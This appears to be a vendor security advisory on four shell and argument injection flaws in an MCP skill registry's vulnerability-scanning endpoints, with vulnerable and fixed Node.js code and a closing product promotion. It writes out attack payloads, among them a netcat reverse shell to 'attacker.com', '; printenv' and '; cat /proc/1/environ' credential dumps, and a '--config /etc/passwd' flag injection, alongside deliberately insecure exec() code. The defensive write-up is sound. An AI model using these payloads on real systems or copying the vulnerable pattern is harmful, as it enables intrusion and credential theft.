Claude MCP skill code injection — skill vulnerability scanning and dependency audit pipeline endpoints (SA-SKL-INJECTION74)
SA-SKL-INJECTION74 identifies four shell and argument injection vulnerabilities across the MCP skill registry's vulnerability scanning and dependency audit pipeline. All four findings share a common root cause: user-supplied values interpolated directly into shell command strings passed to Node.js's child_process.exec(), which passes the full string to /bin/sh -c and therefore interprets any shell metacharacter in the input as a command separator. The affected tools — Trivy, Grype, Snyk, and OSV-Scanner — are security tools; the irony is that the pipeline built to detect vulnerabilities in skills is itself trivially exploitable by any publisher who submits a skill for scanning.
exec(`trivy image ${imageRef} --format ${outputFormat}`) — attacker imageRef with ; cat /proc/1/environ exfiltrates container init environment variables including registry admin credentialsexec(`grype ${packagePath} --output ${outputFormat}`) — attacker packagePath with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell from vulnerability scanning workerexec(`snyk test --file ${manifestPath} --json`) — attacker manifestPath with ; printenv exfiltrates all env vars including SNYK_TOKEN and cloud credentialsexec(`osv-scanner --lockfile ${lockfilePath}`) — attacker lockfilePath with space-injected --config /etc/passwd causes osv-scanner to interpret /etc/passwd as config file and include its contents in error outputINJECTION74-001 — Trivy imageRef shell injection exfiltrates container environment variables including admin credentials
The vulnerability scanning endpoint invokes Trivy via child_process.exec() with the user-supplied imageRef interpolated directly into the command string. Node.js's exec() passes the full string to the system shell (/bin/sh -c), which interprets semicolons, pipes, backticks, and other metacharacters as command separators. An attacker who submits a skill scan with imageRef set to nginx:latest; cat /proc/1/environ causes the shell to execute both trivy image nginx:latest and cat /proc/1/environ; the output of both commands is captured and returned in the scan result. The container's init process environment (/proc/1/environ) contains every environment variable injected at container startup, including the registry admin API key, the database password, and any cloud provider credentials passed via environment. These credentials are captured in the scan result and returned to the attacker as the scan output.
// INJECTION74-001 — VULNERABLE: exec() with interpolated imageRef
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);
async function runTrivyScan(imageRef, outputFormat) {
// exec() passes string to /bin/sh -c — shell injection via imageRef
const { stdout, stderr } = await execAsync(
`trivy image ${imageRef} --format ${outputFormat} --exit-code 0`
);
return { stdout, stderr };
}
// Express endpoint
router.post('/skills/:id/scan/image',
requireSession,
async (req, res) => {
const { imageRef, outputFormat } = req.body;
const result = await runTrivyScan(imageRef, outputFormat);
res.json({ scan: result.stdout });
}
);
The container's /proc/1/environ contains every secret injected at startup — a single shell injection in the scanning worker exfiltrates the entire secret surface of the registry's compute environment. execFile() passes arguments as an array directly to execvp(), bypassing the shell entirely so metacharacters have no special meaning. The IMAGE_REF_RE allowlist regex rejects any value not matching the name:tag@digest pattern. Stripping the environment to PATH only ensures that even if injection succeeds, there are no secrets in the worker's environment to exfiltrate.
// INJECTION74-001 — FIXED: execFile() arg array; IMAGE_REF_RE allowlist; stripped env
const { execFile } = require('child_process');
const { promisify } = require('util');
const execFileAsync = promisify(execFile);
// Allowlist: registry/name:tag or name:tag@sha256:digest
const IMAGE_REF_RE = /^[a-z0-9._\-\/]{1,256}:[a-z0-9._\-]{1,128}(@sha256:[a-f0-9]{64})?$/;
const ALLOWED_OUTPUT_FORMATS = new Set(['table', 'json', 'sarif', 'cyclonedx']);
async function runTrivyScan(imageRef, outputFormat) {
if (!IMAGE_REF_RE.test(imageRef)) throw new Error('Invalid imageRef');
if (!ALLOWED_OUTPUT_FORMATS.has(outputFormat)) throw new Error('Invalid outputFormat');
// execFile: no shell — arguments passed directly to execvp()
const { stdout, stderr } = await execFileAsync('trivy', [
'image', imageRef,
'--format', outputFormat,
'--exit-code', '0'
], {
// Strip env to PATH only — no secrets available even if injection bypassed
env: { PATH: '/usr/local/bin:/usr/bin:/bin' },
timeout: 120000
});
return { stdout, stderr };
}
router.post('/skills/:id/scan/image',
requireSession,
async (req, res) => {
const { imageRef, outputFormat } = req.body;
const result = await runTrivyScan(imageRef, outputFormat);
res.json({ scan: result.stdout });
}
);
CVSS score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — Base Score 9.9 (CRITICAL); full RCE with environment exfiltration from vulnerability scanning worker; scope changed.
INJECTION74-002 — Grype packagePath shell injection establishes reverse shell from scanning worker
The dependency audit endpoint invokes Grype via child_process.exec() with the user-supplied packagePath interpolated directly into the command string. An attacker who submits a skill scan with packagePath set to /sandbox/skill-pkg; nc attacker.com 4444 -e /bin/sh causes the shell to execute the Grype scan on the legitimate path and then establish a Netcat reverse shell connecting back to the attacker's listener. The reverse shell runs as the vulnerability scanning worker process user, with the worker's full network access, file system access, and credentials. Because the reverse shell is established as a background process by the shell injection, it persists after the scan endpoint returns its response — the attacker retains interactive shell access to the scanning worker indefinitely after the initial injection, independent of any subsequent request.
// INJECTION74-002 — VULNERABLE: exec() with interpolated packagePath
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);
async function runGrypeScan(packagePath, outputFormat) {
// exec() passes to /bin/sh -c — attacker injects ; nc attacker.com 4444 -e /bin/sh
const { stdout, stderr } = await execAsync(
`grype ${packagePath} --output ${outputFormat}`
);
return { stdout, stderr };
}
router.post('/skills/:id/scan/dependencies',
requireSession,
async (req, res) => {
const { packagePath, outputFormat } = req.body;
const result = await runGrypeScan(packagePath, outputFormat);
res.json({ scan: result.stdout });
}
);
A reverse shell spawned by the injection persists as a background process after the HTTP response returns — the attacker retains interactive access long after the scan request completes. execFile() eliminates shell interpretation; PACKAGE_PATH_RE restricts packagePath to paths within the sandbox root using an allowlist regex that rejects semicolons, pipes, backticks, and spaces; the cwd option confines relative path resolution to the sandbox root directory.
// INJECTION74-002 — FIXED: execFile() arg array; PACKAGE_PATH_RE; paths to sandbox root
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const execFileAsync = promisify(execFile);
const SANDBOX_ROOT = '/var/skillaudit/scan-sandbox';
// Allowlist: relative path with no shell metacharacters
const PACKAGE_PATH_RE = /^[a-zA-Z0-9._\-\/]{1,512}$/;
const ALLOWED_OUTPUT_FORMATS = new Set(['table', 'json', 'sarif']);
async function runGrypeScan(packagePath, outputFormat) {
if (!PACKAGE_PATH_RE.test(packagePath)) throw new Error('Invalid packagePath');
if (!ALLOWED_OUTPUT_FORMATS.has(outputFormat)) throw new Error('Invalid outputFormat');
// Resolve path and verify it stays within sandbox root
const resolved = path.resolve(SANDBOX_ROOT, packagePath);
if (!resolved.startsWith(SANDBOX_ROOT + '/')) throw new Error('Path traversal rejected');
const { stdout, stderr } = await execFileAsync('grype', [
resolved, '--output', outputFormat
], {
cwd: SANDBOX_ROOT,
env: { PATH: '/usr/local/bin:/usr/bin:/bin' },
timeout: 120000
});
return { stdout, stderr };
}
router.post('/skills/:id/scan/dependencies',
requireSession,
async (req, res) => {
const { packagePath, outputFormat } = req.body;
const result = await runGrypeScan(packagePath, outputFormat);
res.json({ scan: result.stdout });
}
);
CVSS score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — Base Score 9.9 (CRITICAL); persistent reverse shell with interactive access to scanning worker; scope changed.
INJECTION74-003 — Snyk manifestPath shell injection exfiltrates SNYK_TOKEN and cloud provider credentials
The manifest vulnerability scan endpoint invokes Snyk via child_process.exec() with the user-supplied manifestPath interpolated directly into the command string. The Snyk CLI requires a valid SNYK_TOKEN environment variable to authenticate with the Snyk API; this token is present in the scanning worker's environment. An attacker who submits a scan with manifestPath set to /sandbox/package.json; printenv causes printenv to execute and its output — the complete environment variable list — to be captured in the scan result. This output includes SNYK_TOKEN (enabling the attacker to perform Snyk API operations billed to the registry), any cloud provider credentials present in the environment (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GOOGLE_APPLICATION_CREDENTIALS), and any other secrets injected via environment variables. The attacker receives all of these credentials in the HTTP response body of the scan request.
// INJECTION74-003 — VULNERABLE: exec() with interpolated manifestPath
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);
async function runSnykScan(manifestPath) {
// SNYK_TOKEN in env + exec() interpolation = credential exfiltration
const { stdout, stderr } = await execAsync(
`snyk test --file ${manifestPath} --json`
);
return { stdout, stderr };
}
router.post('/skills/:id/scan/manifest',
requireSession,
async (req, res) => {
const { manifestPath } = req.body;
const result = await runSnykScan(manifestPath);
res.json({ scan: result.stdout });
}
);
SNYK_TOKEN combined with printenv shell injection delivers every secret in the worker's environment directly in the scan API response — the attacker needs no further exploitation steps. execFile() prevents shell interpretation. MANIFEST_PATH_RE allowlists only valid manifest filenames. Stripping the environment to PATH and passing SNYK_TOKEN explicitly and only when needed ensures the token is never in an environment that an injected subcommand could read via printenv.
// INJECTION74-003 — FIXED: execFile() arg array; MANIFEST_PATH_RE; env stripped to PATH
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const execFileAsync = promisify(execFile);
const SANDBOX_ROOT = '/var/skillaudit/scan-sandbox';
// Allowlist: common manifest filenames only
const MANIFEST_PATH_RE = /^[a-zA-Z0-9._\-]{1,128}\.(json|toml|yaml|yml|lock|txt)$/;
async function runSnykScan(manifestPath) {
if (!MANIFEST_PATH_RE.test(manifestPath)) throw new Error('Invalid manifestPath');
const resolved = path.resolve(SANDBOX_ROOT, manifestPath);
if (!resolved.startsWith(SANDBOX_ROOT + '/')) throw new Error('Path traversal rejected');
const { stdout, stderr } = await execFileAsync('snyk', [
'test', '--file', resolved, '--json'
], {
cwd: SANDBOX_ROOT,
// Env stripped to PATH only — SNYK_TOKEN fetched from secret manager per-scan
env: {
PATH: '/usr/local/bin:/usr/bin:/bin',
SNYK_TOKEN: await secretManager.get('snyk-token')
},
timeout: 120000
});
return { stdout, stderr };
}
router.post('/skills/:id/scan/manifest',
requireSession,
async (req, res) => {
const { manifestPath } = req.body;
const result = await runSnykScan(manifestPath);
res.json({ scan: result.stdout });
}
);
CVSS score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — Base Score 9.9 (CRITICAL); full credential exfiltration from scanning worker environment including cloud provider credentials.
INJECTION74-004 — OSV-Scanner lockfilePath argument injection causes /etc/passwd to be parsed as config
The OSV-Scanner audit endpoint invokes OSV-Scanner via child_process.exec() with the user-supplied lockfilePath interpolated directly into the command string. Unlike the previous findings that use semicolons to inject separate commands, this finding exploits the fact that OSV-Scanner accepts a --config flag that specifies a configuration file. Because exec() passes the full string to the shell and the shell word-splits on whitespace, an attacker who sets lockfilePath to /sandbox/package-lock.json --config /etc/passwd causes the OSV-Scanner invocation to become osv-scanner --lockfile /sandbox/package-lock.json --config /etc/passwd. OSV-Scanner attempts to parse /etc/passwd as a YAML configuration file; when it fails, the error message includes excerpts from /etc/passwd in the output. This discloses user account information, home directories, and shell assignments for every system account on the scanning worker.
// INJECTION74-004 — VULNERABLE: exec() with interpolated lockfilePath
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);
async function runOsvScan(lockfilePath) {
// Space in lockfilePath injects extra flags: --config /etc/passwd
const { stdout, stderr } = await execAsync(
`osv-scanner --lockfile ${lockfilePath}`
);
return { stdout, stderr };
}
router.post('/skills/:id/scan/lockfile',
requireSession,
async (req, res) => {
const { lockfilePath } = req.body;
const result = await runOsvScan(lockfilePath);
// stderr may contain /etc/passwd content on parse error
res.json({ scan: result.stdout, diagnostics: result.stderr });
}
);
Argument injection via whitespace does not require a shell command separator — a single space in the lockfilePath is sufficient to inject additional flags that change the tool's behavior. execFile() eliminates shell word-splitting: each array element is passed verbatim to execvp() as a single argument, so whitespace within an element is treated as a literal character rather than a separator. LOCKFILE_PATH_RE explicitly rejects any value containing whitespace, forward slashes at unexpected positions, or flag-injection characters like hyphens at the start.
// INJECTION74-004 — FIXED: execFile() arg array; LOCKFILE_PATH_RE rejects whitespace
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const execFileAsync = promisify(execFile);
const SANDBOX_ROOT = '/var/skillaudit/scan-sandbox';
// Allowlist: filename only — no whitespace, no leading hyphens, known extensions
const LOCKFILE_PATH_RE = /^[a-zA-Z0-9._\-]{1,128}\.(lock|json|toml|txt)$/;
async function runOsvScan(lockfilePath) {
if (!LOCKFILE_PATH_RE.test(lockfilePath)) throw new Error('Invalid lockfilePath');
const resolved = path.resolve(SANDBOX_ROOT, lockfilePath);
if (!resolved.startsWith(SANDBOX_ROOT + '/')) throw new Error('Path traversal rejected');
// execFile: each element is a single argument — whitespace is literal, not a separator
const { stdout } = await execFileAsync('osv-scanner', [
'--lockfile', resolved
], {
cwd: SANDBOX_ROOT,
env: { PATH: '/usr/local/bin:/usr/bin:/bin' },
timeout: 60000
});
return { stdout };
}
router.post('/skills/:id/scan/lockfile',
requireSession,
async (req, res) => {
const { lockfilePath } = req.body;
const result = await runOsvScan(lockfilePath);
// Return stdout only — never expose stderr which may contain diagnostic file content
res.json({ scan: result.stdout });
}
);
CVSS score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N — Base Score 4.3 (MEDIUM); argument injection discloses /etc/passwd content via error output; no shell metacharacter required.
SkillAudit checks for all SA-SKL-INJECTION vulnerability patterns including shell injection via exec() string interpolation in security scanning pipelines, argument injection via whitespace in tool invocations, and credential exfiltration through environment variable capture. Get a graded report with line-level code fixes in 60 seconds.
Get a free audit